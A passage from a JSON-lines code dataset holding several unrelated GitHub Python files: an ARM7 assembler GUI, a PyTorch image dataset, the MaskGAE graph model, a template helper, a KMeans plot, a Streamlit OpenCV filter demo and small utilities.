complement\\n\\tEg: BIC R0, R1, R2;\\tR0 <- R1 AND (NOT)R2\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n Label(logicFrame, text=\"CMP : Ordinary Compare\\n\\tEg: CMP R0, R1;\\n\\tPerform R0 - R1 but does not store the result.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=6)\n Label(logicFrame, text=\"CMN : Compare with Negated value\\n\\tEg: CMN R0, R1;\\tPerform R0 + R1 but does not store the result.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=7)\n Label(logicFrame, text=\"TST : Logical AND, Only affects flags\\n\\tEg: TST R0, R1;\\tPerforms R0 AND R1, does not store the result, but affects the flag.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=8)\n Label(logicFrame, text=\"TEQ : Logical XOR, Only affects flags\\n\\tEg: TEQ R0, R1;\\tPerforms R0 XOR R1, does not store the result, but affects the flag.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=9)\n\ndef mulInstr():\n # Multiply and Long Mutltiply operations =>\n topMultiply = Toplevel()\n topMultiply.geometry(\"750x500\")\n topMultiply.title(\"Arm Instruction Set\")\n headerFrame = Frame(topMultiply)\n headerFrame.pack(fill=X)\n mulFrame = Frame(topMultiply)\n mulFrame.pack(fill=X)\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(mulFrame, text=\"\\nMultiply Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n\ndef flagInstr():\n # Flag operations =>\n topFlag = Toplevel()\n topFlag.geometry(\"750x450\")\n topFlag.title(\"Arm Instruction Set\")\n headerFrame = Frame(topFlag)\n headerFrame.pack(fill=X)\n flagFrame = Frame(topFlag)\n flagFrame.pack(fill=X)\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(flagFrame, text=\"\\nFlag related Instructions operating on CPSR/ SPSR\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(flagFrame, text=\"MRS Rd, CPSR: Rd gets value of CPSR\\n\\t\\tEg: MRS R0, CPSR;\\n\\t\\tR0 gets the value of CPSR\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(flagFrame, text=\"MRS Rd, SPSR: Rd gets value of SPSR\\n\\t\\tEg: MRS R0, SPSR;\\n\\t\\tR0 gets the value of SPSR\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(flagFrame, text=\"MSR CPSR, Rm: CPSR gets value of Rm\\n\\t\\tEg: MSR CPSR, R0;\\n\\t\\tCPSR gets the value of R0\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(flagFrame, text=\"MSR SPSR, Rm: SPSR gets value of Rm\\n\\t\\tEg: MSR SPSR, R0;\\n\\t\\tSPSR gets the value of R0\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n\n\n# assemble the code and check the result\n# def assemble():\n# tmsg.showinfo(\"Result\", textArea.get(1.0, END))\n\ndef assemble():\n instr_lines = textArea.get(1.0, END).splitlines()\n for i in range(len(instr_lines)):\n parse(instr_lines)\n if counter > 0:\n tmsg.showerror(\"Error!\", \"Error Encountered in the code!\")\n else:\n res = Toplevel()\n res.geometry(\"500x400\")\n res.title(\"Result\")\n headerFrame = Frame(res)\n headerFrame.pack(fill=X)\n resFrame = Frame(res)\n resFrame.pack(fill=X)\n Label(headerFrame, text=\"Register And Flag Values\", font=\"firacode 18 underline\").pack()\n Label(resFrame, text=\"\\nR1 = {r1}\".format(r1 = R1), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(resFrame, text=\"R2 = {r2}\".format(r2 = R2), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(resFrame, text=\"R3 = {r3}\".format(r3 = R3), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(resFrame, text=\"R4 = {r4}\".format(r4 = R4), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(resFrame, text=\"R5 = {r5}\".format(r5 = R5), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n Label(resFrame, text=\"R6 = {r6}\".format(r6 = R6), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=6)\n Label(resFrame, text=\"R7 = {r7}\".format(r7 = R7), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=7)\n Label(resFrame, text=\"R8 = {r8}\".format(r8 = R8), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=8)\n Label(resFrame, text=\"R9 = {r9}\".format(r9 = R9), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=9)\n Label(resFrame, text=\"R10 = {r10}\".format(r10 = R10), font=\"firacode 14\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=10)\n #print(R1, R2, R3, R4, R5)\n # tmsg.showinfo(\"Result\", n)\n\n# About page\ndef about():\n tmsg.showinfo(\"ARM ASSEMBLER\", \"An Arm7 Assembler by Aftaab Siddiqui (18BEC004) & Nishit Chechani (18BEC065)\")\n \n\nif __name__ == '__main__':\n # root/window of the App\n root = Tk()\n root.title(\"ARM ASSEMBLER\")\n root.geometry(\"1000x750\")\n \n # Text Area\n textArea = Text(root, font=\"lucida 14\") \n File = None\n textArea.pack(expand = True, fill=BOTH)\n\n # MenuBar\n mymenu = Menu(root) # Creating a menubar (Main Menu)\n \n # ==========================================================================\n m1 = Menu(mymenu, tearoff=0) # tearoff = 0, as tearoff is not needed\n m1.add_command(label=\"New\", command=newFile) # Submenu under File Section to create a new file.\n m1.add_command(label=\"Open\", command=openFile) # Submenu under File Section to Open a file.\n m1.add_command(label=\"Save\", command=saveFile) # Submenu under File Section to Save (Save as) a new file.\n root.config(menu=mymenu)\n mymenu.add_cascade(label=\"File\", menu=m1)\n \n # ==========================================================================\n m2 = Menu(mymenu, tearoff=0) # tearoff = 0, as tearoff is not needed\n m2.add_command(label=\"Cut\", command=cut) # Submenu under File Section to create a new file.\n m2.add_command(label=\"Copy\", command=copy) # Submenu under File Section to Open a file.\n m2.add_command(label=\"Paste\", command=paste) # Submenu under File Section to Save (Save as) a new file.\n root.config(menu=mymenu)\n mymenu.add_cascade(label=\"Edit\", menu=m2)\n \n # ==========================================================================\n # The details can be shown using submenus for each category of intstructions\n m3 = Menu(mymenu, tearoff=0) # tearoff = 0, as tearoff is not needed\n m3.add_command(label=\"Brach Instructions\", command=branchInstr) # Submenu under File Section to create a new file.\n m3.add_command(label=\"Stack Operations\", command=stackInstr) # Submenu under File Section to Open a file.\n m3.add_command(label=\"Load & Store\", command=loadStoreInstr) # Submenu under File Section to Save (Save as) a new file.\n m3.add_command(label=\"MOV & Arithmetic\", command=movArithmeticInstr) # Submenu under File Section to Save (Save as) a new file.\n m3.add_command(label=\"Logical Instructions\", command=logicalInstr) # Submenu under File Section to Save (Save as) a new file.\n m3.add_command(label=\"Multiply Instructions\", command=mulInstr) # Submenu under File Section to Save (Save as) a new file.\n m3.add_command(label=\"Flag Instructions\", command=flagInstr) # Submenu under File Section to Save (Save as) a new file.\n root.config(menu=mymenu)\n mymenu.add_cascade(label=\"Instruction Set\", menu=m3)\n \n # Adding the remaining menus directly as they dont have any submenu\n mymenu.add_command(label=\"Assemble\", command=assemble)\n mymenu.add_command(label=\"About\", command=about)\n mymenu.add_command(label=\"Quit\", command=quit)\n root.config(menu=mymenu)\n\n # Adding a scrollbar\n scroll = Scrollbar(textArea)\n scroll.pack(side=RIGHT, fill=Y)\n scroll.config(command=textArea.yview)\n textArea.config(yscrollcommand=scroll.set, relief=\"raised\")\n\n root.mainloop()\n","repo_name":"Aftaab25/ARM7-Assembler","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":27915,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"5004646713","text":"import torch\nimport cv2\nimport numpy as np\n\n\nclass SHOPEEDataset(torch.utils.data.Dataset):\n def __init__(self, df, mode, transform=None):\n\n self.df = df.reset_index(drop=True)\n self.mode = mode\n self.transform = transform\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, index):\n row = self.df.loc[index]\n img = cv2.imread(row.file_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n if self.transform is not None:\n res = self.transform(image=img)\n img = res[\"image\"]\n\n # img = img.astype(np.float32)\n ### We using PyTorch so channels first \"Raise Channels Last Error\"\n if img.shape[0] != 3 and img.shape[0] != 1:\n img = np.transpose(img, (2, 0, 1)).astype(np.float32)\n\n # img = torch.tensor(img).float()\n label = torch.tensor(row.label_group).float()\n\n if self.mode == \"test\":\n return img\n else:\n return img, label","repo_name":"ghnreigns/SHOPEE","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"3499333476","text":"import torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torch_geometric.nn import (\n Linear,\n GCNConv,\n SAGEConv,\n GATConv,\n GINConv,\n GATv2Conv,\n global_add_pool,\n global_mean_pool,\n global_max_pool\n)\n\nfrom torch_geometric.utils import add_self_loops, negative_sampling, degree\nfrom torch_sparse import SparseTensor\nfrom torch.utils.data import DataLoader\nfrom sklearn.metrics import roc_auc_score, average_precision_score\n\n# custom modules\nfrom maskgae.loss import info_nce_loss, ce_loss, log_rank_loss, hinge_auc_loss, auc_loss\n\n\ndef to_sparse_tensor(edge_index, num_nodes):\n return SparseTensor.from_edge_index(\n edge_index, sparse_sizes=(num_nodes, num_nodes)\n ).to(edge_index.device)\n\n\ndef creat_gnn_layer(name, first_channels, second_channels, heads):\n if name == \"sage\":\n layer = SAGEConv(first_channels, second_channels)\n elif name == \"gcn\":\n layer = GCNConv(first_channels, second_channels)\n elif name == \"gin\":\n layer = GINConv(Linear(first_channels, second_channels), train_eps=True)\n elif name == \"gat\":\n layer = GATConv(-1, second_channels, heads=heads)\n elif name == \"gat2\":\n layer = GATv2Conv(-1, second_channels, heads=heads)\n else:\n raise ValueError(name)\n return layer\n\n\ndef create_input_layer(num_nodes, num_node_feats,\n use_node_feats=True, node_emb=None):\n emb = None\n if use_node_feats:\n input_dim = num_node_feats\n if node_emb:\n emb = torch.nn.Embedding(num_nodes, node_emb)\n input_dim += node_emb\n else:\n emb = torch.nn.Embedding(num_nodes, node_emb)\n input_dim = node_emb\n return input_dim, emb\n\n\ndef creat_activation_layer(activation):\n if activation is None:\n return nn.Identity()\n elif activation == \"relu\":\n return nn.ReLU()\n elif activation == \"elu\":\n return nn.ELU()\n else:\n raise ValueError(\"Unknown activation\")\n\n\nclass GNNEncoder(nn.Module):\n def __init__(\n self,\n in_channels,\n hidden_channels,\n out_channels,\n num_layers=2,\n dropout=0.5,\n bn=False,\n layer=\"gcn\",\n activation=\"elu\",\n use_node_feats=True,\n num_nodes=None,\n node_emb=None,\n ):\n\n super().__init__()\n self.convs = nn.ModuleList()\n self.bns = nn.ModuleList()\n bn = nn.BatchNorm1d if bn else nn.Identity\n self.use_node_feats = use_node_feats\n self.node_emb = node_emb\n\n if node_emb is not None and num_nodes is None:\n raise RuntimeError(\"Please provide the argument `num_nodes`.\")\n\n in_channels, self.emb = create_input_layer(\n num_nodes, in_channels, use_node_feats=use_node_feats, node_emb=node_emb\n )\n for i in range(num_layers):\n first_channels = in_channels if i == 0 else hidden_channels\n second_channels = out_channels if i == num_layers - 1 else hidden_channels\n heads = 1 if i == num_layers - 1 or 'gat' not in layer else 4\n\n self.convs.append(creat_gnn_layer(layer, first_channels, second_channels, heads))\n self.bns.append(bn(second_channels*heads))\n\n self.dropout = nn.Dropout(dropout)\n self.activation = creat_activation_layer(activation)\n\n def reset_parameters(self):\n for conv in self.convs:\n conv.reset_parameters()\n\n for bn in self.bns:\n if not isinstance(bn, nn.Identity):\n bn.reset_parameters()\n\n if self.emb is not None:\n nn.init.xavier_uniform_(self.emb.weight)\n\n def create_input_feat(self, x):\n if self.use_node_feats:\n input_feat = x\n if self.node_emb:\n input_feat = torch.cat([self.emb.weight, input_feat], dim=-1)\n else:\n input_feat = self.emb.weight\n return input_feat\n\n def forward(self, x, edge_index):\n x = self.create_input_feat(x)\n edge_index = to_sparse_tensor(edge_index, x.size(0))\n\n for i, conv in enumerate(self.convs[:-1]):\n x = self.dropout(x)\n x = conv(x, edge_index)\n x = self.bns[i](x)\n x = self.activation(x)\n x = self.dropout(x)\n x = self.convs[-1](x, edge_index)\n x = self.bns[-1](x)\n x = self.activation(x)\n return x\n\n @torch.no_grad()\n def get_embedding(self, x, edge_index, mode=\"cat\", l2_normalize=False):\n\n self.eval()\n assert mode in {\"cat\", \"last\"}, mode\n\n x = self.create_input_feat(x)\n edge_index = to_sparse_tensor(edge_index, x.size(0))\n out = []\n for i, conv in enumerate(self.convs[:-1]):\n x = self.dropout(x)\n x = conv(x, edge_index)\n x = self.bns[i](x)\n x = self.activation(x)\n out.append(x)\n x = self.dropout(x)\n x = self.convs[-1](x, edge_index)\n x = self.bns[-1](x)\n x = self.activation(x)\n out.append(x)\n\n if mode == \"cat\":\n embedding = torch.cat(out, dim=1)\n else:\n embedding = out[-1]\n\n if l2_normalize:\n embedding = F.normalize(embedding, p=2, dim=1) # Cora, Citeseer, Pubmed\n\n return embedding\n\n @torch.no_grad()\n def get_graph_embedding(self, x, edge_index, batch, l2_normalize=False, pooling='sum'):\n \"\"\"https://github.com/fanyun-sun/InfoGraph/blob/master/unsupervised/gin.py\"\"\"\n\n self.eval()\n assert batch is not None\n\n edge_index = to_sparse_tensor(edge_index, x.shape[0])\n xs = [] # node emb, expected to be (layers_num, batch_node_num, dim)\n for i, conv in enumerate(self.convs[:-1]):\n x = self.dropout(x)\n x = conv(x, edge_index)\n x = self.bns[i](x)\n x = self.activation(x)\n xs.append(x)\n x = self.dropout(x)\n x = self.convs[-1](x, edge_index)\n x = self.bns[-1](x)\n x = self.activation(x)\n xs.append(x)\n\n pooling = {'sum': global_add_pool, 'mean': global_mean_pool, 'max': global_max_pool}[pooling]\n # (layers_num, batch_graph_num, dim)\n x_pool = [pooling(x, batch) for x in xs]\n\n # (batch_graph_num, layers_num × dim)\n embedding = torch.cat(x_pool, dim=1)\n \n if l2_normalize:\n embedding = F.normalize(embedding, p=2, dim=1) \n\n return embedding # graph embeddings for current batch\n\n\nclass DotEdgeDecoder(nn.Module):\n \"\"\"Simple Dot Product Edge Decoder\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__()\n\n def reset_parameters(self):\n return\n\n def forward(self, z, edge, sigmoid=True):\n x = z[edge[0]] * z[edge[1]]\n x = x.sum(-1)\n\n if sigmoid:\n return x.sigmoid()\n else:\n return x\n\n\nclass EdgeDecoder(nn.Module):\n \"\"\"Simple MLP Edge Decoder\"\"\"\n\n def __init__(\n self, in_channels, hidden_channels, out_channels=1,\n num_layers=2, dropout=0.5, activation='relu'\n ):\n\n super().__init__()\n self.mlps = nn.ModuleList()\n\n for i in range(num_layers):\n first_channels = in_channels if i == 0 else hidden_channels\n second_channels = out_channels if i == num_layers - 1 else hidden_channels\n self.mlps.append(nn.Linear(first_channels, second_channels))\n\n self.dropout = nn.Dropout(dropout)\n self.activation = creat_activation_layer(activation)\n\n def reset_parameters(self):\n for mlp in self.mlps:\n mlp.reset_parameters()\n\n def forward(self, z, edge, sigmoid=True, reduction=False):\n x = z[edge[0]] * z[edge[1]]\n\n if reduction:\n x = x.mean(1)\n\n for i, mlp in enumerate(self.mlps[:-1]):\n x = self.dropout(x)\n x = mlp(x)\n x = self.activation(x)\n\n x = self.mlps[-1](x)\n\n if sigmoid:\n return x.sigmoid()\n else:\n return x\n\n\nclass DegreeDecoder(nn.Module):\n \"\"\"Simple MLP Edge Decoder\"\"\"\n\n def __init__(\n self, in_channels, hidden_channels, out_channels=1,\n num_layers=2, dropout=0.5, activation='relu',\n ):\n\n super().__init__()\n self.mlps = nn.ModuleList()\n\n for i in range(num_layers):\n first_channels = in_channels if i == 0 else hidden_channels\n second_channels = out_channels if i == num_layers - 1 else hidden_channels\n self.mlps.append(nn.Linear(first_channels, second_channels))\n\n self.dropout = nn.Dropout(dropout)\n self.activation = creat_activation_layer(activation)\n\n def reset_parameters(self):\n for mlp in self.mlps:\n mlp.reset_parameters()\n\n def forward(self, x):\n\n for i, mlp in enumerate(self.mlps[:-1]):\n x = mlp(x)\n x = self.dropout(x)\n x = self.activation(x)\n\n x = self.mlps[-1](x)\n x = self.activation(x)\n\n return x\n\n\ndef random_negative_sampler(edge_index, num_nodes, num_neg_samples):\n neg_edges = torch.randint(0, num_nodes, size=(2, num_neg_samples)).to(edge_index)\n return neg_edges\n\n\nclass MaskGAE(nn.Module):\n def __init__(\n self,\n encoder,\n edge_decoder,\n degree_decoder=None,\n mask=None,\n random_negative_sampling=False,\n loss=\"ce\",\n ):\n super().__init__()\n self.encoder = encoder\n self.edge_decoder = edge_decoder\n self.degree_decoder = degree_decoder\n self.mask = mask\n\n if loss == \"ce\":\n self.loss_fn = ce_loss\n elif loss == \"auc\":\n self.loss_fn = auc_loss\n elif loss == \"info_nce\":\n self.loss_fn = info_nce_loss\n elif loss == \"log_rank\":\n self.loss_fn = log_rank_loss\n elif loss == \"hinge_auc\":\n self.loss_fn = hinge_auc_loss\n else:\n raise ValueError(loss)\n\n if random_negative_sampling:\n # this will be faster than pyg negative_sampling\n self.negative_sampler = random_negative_sampler\n else:\n self.negative_sampler = negative_sampling\n\n def reset_parameters(self):\n self.encoder.reset_parameters()\n self.edge_decoder.reset_parameters()\n\n if self.degree_decoder is not None:\n self.degree_decoder.reset_parameters()\n\n def forward(self, x, edge_index):\n return self.encoder(x, edge_index)\n\n def train_epoch(\n self, data, optimizer, alpha=0.002,\n batch_size=2 ** 16, grad_norm=1.0\n ):\n\n x, edge_index = data.x, data.edge_index\n\n if self.mask is not None:\n # MaskGAE\n remaining_edges, masked_edges = self.mask(edge_index)\n else:\n # Plain GAE\n remaining_edges = edge_index\n masked_edges = getattr(data, \"pos_edge_label_index\", edge_index)\n\n loss_total = 0.0\n aug_edge_index, _ = add_self_loops(edge_index)\n neg_edges = self.negative_sampler(\n aug_edge_index,\n num_nodes=data.num_nodes,\n num_neg_samples=masked_edges.view(2, -1).size(1),\n ).view_as(masked_edges)\n\n for perm in DataLoader(\n range(masked_edges.size(1)), batch_size=batch_size, shuffle=True\n ):\n\n optimizer.zero_grad()\n\n z = self.encoder(x, remaining_edges)\n\n batch_masked_edges = masked_edges[:, perm]\n batch_neg_edges = neg_edges[:, perm]\n\n # ******************* loss for edge prediction *********************\n pos_out = self.edge_decoder(\n z, batch_masked_edges, sigmoid=False\n )\n neg_out = self.edge_decoder(z, batch_neg_edges, sigmoid=False)\n loss = self.loss_fn(pos_out, neg_out)\n\n # ******************************************************************\n\n if self.degree_decoder is not None and alpha:\n deg = degree(masked_edges[1].flatten(), data.num_nodes).float()\n loss += alpha * F.mse_loss(self.degree_decoder(z).squeeze(), deg)\n\n loss.backward()\n\n if grad_norm > 0:\n # gradient clipping\n nn.utils.clip_grad_norm_(self.parameters(), grad_norm)\n\n optimizer.step()\n\n loss_total += loss.item()\n\n return loss_total\n\n @torch.no_grad()\n def batch_predict(self, z, edges, batch_size=2 ** 16):\n preds = []\n for perm in DataLoader(range(edges.size(1)), batch_size):\n edge = edges[:, perm]\n preds += [self.edge_decoder(z, edge).squeeze().cpu()]\n pred = torch.cat(preds, dim=0)\n return pred\n\n @torch.no_grad()\n def test(self, z, pos_edge_index, neg_edge_index, batch_size=2**16):\n\n pos_pred = self.batch_predict(z, pos_edge_index)\n neg_pred = self.batch_predict(z, neg_edge_index)\n\n pred = torch.cat([pos_pred, neg_pred], dim=0)\n pos_y = pos_pred.new_ones(pos_pred.size(0))\n neg_y = neg_pred.new_zeros(neg_pred.size(0))\n\n y = torch.cat([pos_y, neg_y], dim=0)\n y, pred = y.cpu().numpy(), pred.cpu().numpy()\n\n return roc_auc_score(y, pred), average_precision_score(y, pred)\n\n @torch.no_grad()\n def test_ogb(self, z, splits, evaluator, batch_size=2**16):\n\n pos_valid_edge = splits[\"valid\"].pos_edge_label_index\n neg_valid_edge = splits[\"valid\"].neg_edge_label_index\n pos_test_edge = splits[\"test\"].pos_edge_label_index\n neg_test_edge = splits[\"test\"].neg_edge_label_index\n\n pos_valid_pred = self.batch_predict(z, pos_valid_edge)\n neg_valid_pred = self.batch_predict(z, neg_valid_edge)\n\n pos_test_pred = self.batch_predict(z, pos_test_edge)\n neg_test_pred = self.batch_predict(z, neg_test_edge)\n\n results = {}\n for K in [20, 50, 100]:\n evaluator.K = K\n valid_hits = evaluator.eval(\n {\"y_pred_pos\": pos_valid_pred, \"y_pred_neg\": neg_valid_pred, }\n )[f\"hits@{K}\"]\n test_hits = evaluator.eval(\n {\"y_pred_pos\": pos_test_pred, \"y_pred_neg\": neg_test_pred, }\n )[f\"hits@{K}\"]\n\n results[f\"Hits@{K}\"] = (valid_hits, test_hits)\n\n return results\n","repo_name":"EdisonLeeeee/MaskGAE","sub_path":"maskgae/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14333,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"48"} +{"seq_id":"72916200466","text":"\"\"\"\nTemplate - simple template mechanism for kiroku\n\"\"\"\nimport os\nimport re\n\n\nclass Template:\n \"\"\"Simple class for cooking up partials out of the templates.\"\"\"\n\n def __init__(self, config, path='.'):\n \"\"\"Initialize object\"\"\"\n self.templates = {}\n self.path = path\n self._cfg = config\n\n def __call__(self, template_name, data):\n \"\"\"Return string, out of the provided template intrepolated by the\n data and default strings from the config\"\"\"\n if template_name not in self.templates:\n self._read_template(template_name)\n\n return self._get_updated_template(self.templates[template_name], data)\n\n def _get_updated_template(self, template, data):\n \"\"\"Return the template string interpolated by data and default strings\n from config. Data from data argument will overwrite the defaults.\"\"\"\n _data = {}\n _data.update(self._cfg)\n data = _data.update(data)\n return template % _data\n\n def _read_template(self, template_name):\n \"\"\"\n Return the template out of the template name - so it is the basename\n of the template file without the file extension.\n\n Note, that all html comments () will be truncated.\n If compress is set to True all of trailing spaces will be removed out\n of the template (you can call it \"minifying\" html)\n \"\"\"\n\n templ = []\n comments = re.compile(\"\", re.DOTALL)\n\n try:\n with open(os.path.join(self.path, \".templates/%s.html\" %\n template_name)) as fobj:\n content = fobj.read()\n except IOError:\n with open(os.path.join(self.path, \".templates/%s.xml\" %\n template_name)) as fobj:\n content = fobj.read()\n\n content = re.sub(comments, \"\", content)\n\n for line in content.split(\"\\n\"):\n if not line:\n continue\n templ.append(line + \"\\n\")\n\n self.templates[template_name] = \"\".join(templ).strip()\n","repo_name":"gryf/kiroku","sub_path":"kiroku/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24862904514","text":"import os\nimport sys\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nparent_dir = os.path.abspath(os.path.join(dir_path, os.pardir))\nsys.path.insert(0, parent_dir)\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pprint as pp\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets import make_blobs\n\nfrom utils.common import heading\n\n\ndef run():\n clusters = 5\n (X, y) = make_blobs(\n n_samples=300,\n n_features=2,\n centers=clusters,\n cluster_std=1.5,\n shuffle=True,\n random_state=1\n )\n heading('Data')\n print('X:', X.shape)\n print('y:', y.shape)\n\n # Scatter plot\n for class_ in np.unique(y):\n plt.scatter(\n X[y == class_, 0],\n X[y == class_, 1]\n )\n\n plt.grid()\n\n plt.figure()\n\n total_within_class_sse_list = []\n cluster_centers_list = range(1, 11)\n\n for i in cluster_centers_list:\n\n k_means = KMeans(\n n_clusters=i,\n init='k-means++',\n n_init=5,\n max_iter=500,\n tol=1e-03,\n random_state=123\n )\n\n k_means.fit(X)\n total_within_class_sse = k_means.inertia_\n total_within_class_sse_list.append(total_within_class_sse)\n\n plt.plot(\n cluster_centers_list,\n total_within_class_sse_list,\n marker='.'\n )\n plt.xlabel('Number of cluster centers')\n plt.ylabel('Distortion (total within-class-SSE)')\n plt.title('Variation of distortion with within-class-SSE')\n plt.grid()\n\n plt.show()\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"sidharth01g/Machine-Learning","sub_path":"Clustering/sse_plot.py","file_name":"sse_plot.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23808072120","text":"\"\"\"Video transforms with OpenCV\"\"\"\n\nimport av\nimport cv2\nimport streamlit as st\nfrom streamlit_webrtc import WebRtcMode, webrtc_streamer\n\nfrom sample_utils.turn import get_ice_servers\n\n_type = st.radio(\"Select transform type\", (\"noop\", \"cartoon\", \"edges\", \"rotate\"))\n\n\ndef callback(frame: av.VideoFrame) -> av.VideoFrame:\n img = frame.to_ndarray(format=\"bgr24\")\n\n if _type == \"noop\":\n pass\n elif _type == \"cartoon\":\n # prepare color\n img_color = cv2.pyrDown(cv2.pyrDown(img))\n for _ in range(6):\n img_color = cv2.bilateralFilter(img_color, 9, 9, 7)\n img_color = cv2.pyrUp(cv2.pyrUp(img_color))\n\n # prepare edges\n img_edges = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n img_edges = cv2.adaptiveThreshold(\n cv2.medianBlur(img_edges, 7),\n 255,\n cv2.ADAPTIVE_THRESH_MEAN_C,\n cv2.THRESH_BINARY,\n 9,\n 2,\n )\n img_edges = cv2.cvtColor(img_edges, cv2.COLOR_GRAY2RGB)\n\n # combine color and edges\n img = cv2.bitwise_and(img_color, img_edges)\n elif _type == \"edges\":\n # perform edge detection\n img = cv2.cvtColor(cv2.Canny(img, 100, 200), cv2.COLOR_GRAY2BGR)\n elif _type == \"rotate\":\n # rotate image\n rows, cols, _ = img.shape\n M = cv2.getRotationMatrix2D((cols / 2, rows / 2), frame.time * 45, 1)\n img = cv2.warpAffine(img, M, (cols, rows))\n\n return av.VideoFrame.from_ndarray(img, format=\"bgr24\")\n\n\nwebrtc_streamer(\n key=\"opencv-filter\",\n mode=WebRtcMode.SENDRECV,\n rtc_configuration={\"iceServers\": get_ice_servers()},\n video_frame_callback=callback,\n media_stream_constraints={\"video\": True, \"audio\": False},\n async_processing=True,\n)\n\nst.markdown(\n \"This demo is based on \"\n \"https://github.com/aiortc/aiortc/blob/2362e6d1f0c730a0f8c387bbea76546775ad2fe8/examples/server/server.py#L34. \" # noqa: E501\n \"Many thanks to the project.\"\n)\n","repo_name":"whitphx/streamlit-webrtc","sub_path":"pages/2_opencv_filters.py","file_name":"2_opencv_filters.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":978,"dataset":"github-code","pt":"48"} +{"seq_id":"14835421100","text":"# https://leetcode.com/problems/longest-common-prefix\n\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n prefix = \"\"\n\n for i in range(len(strs[0])):\n for word in strs:\n if i == len(word) or strs[0][i] != word[i]:\n return prefix\n prefix += strs[0][i]\n return prefix\n","repo_name":"Michaeloye/DSA","sub_path":"neetcodeAll/arraysAndHashing/LongestCommonPrefix.py","file_name":"LongestCommonPrefix.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37087493920","text":"#! /usr/bin/env python3\n\nimport sys\nimport os\n\nimport json\n\ndef main():\n data = None\n with open(\"bad_beers.json\", 'r') as file:\n data = json.load(file)\n list = []\n list.extend(data[\"bad_beers\"])\n with open(\"bad_beers.txt\", 'w') as outfile:\n for i in list:\n print(i, file=outfile)\n return 0\n\nif __name__ == \"__main__\":\n rtn = main()\n sys.exit(rtn)\n","repo_name":"jmcgover/bots","sub_path":"beerdescriber/json_to_txt.py","file_name":"json_to_txt.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34323040101","text":"import FreeCAD\nimport ARTools\nif FreeCAD.GuiUp:\n import FreeCADGui\n from pivy import coin\n from PySide import QtCore, QtGui, QtSvg\n import Part\n import os\n\n__title__ = \"ARFrames\"\n__author__ = \"Mathias Hauan Arbo\"\n__workbenchname__ = \"ARBench\"\n__version__ = \"0.1\"\n__url__ = \"https://github.com/mahaarbo/ARBench\"\n__doc__ = \"\"\"\"\"\"\n\n\n############################################################\n# Frame Objects\n############################################################\nclass Frame(object):\n \"\"\"Basic freestanding frame\"\"\"\n def __init__(self, obj):\n obj.addProperty(\"App::PropertyPlacement\",\n \"Placement\", \"Base\",\n \"Placement of the frame\")\n obj.Placement = FreeCAD.Placement()\n obj.Proxy = self\n self.obj = obj\n self.additional_data = {}\n\n def onChanged(self, fp, prop):\n pass\n\n def execute(self, obj):\n pass\n\n def __getstate__(self):\n return None\n\n def __setstate__(self, state):\n return None\n\n def getDict(self):\n d = {}\n d[\"label\"] = str(self.obj.Label)\n 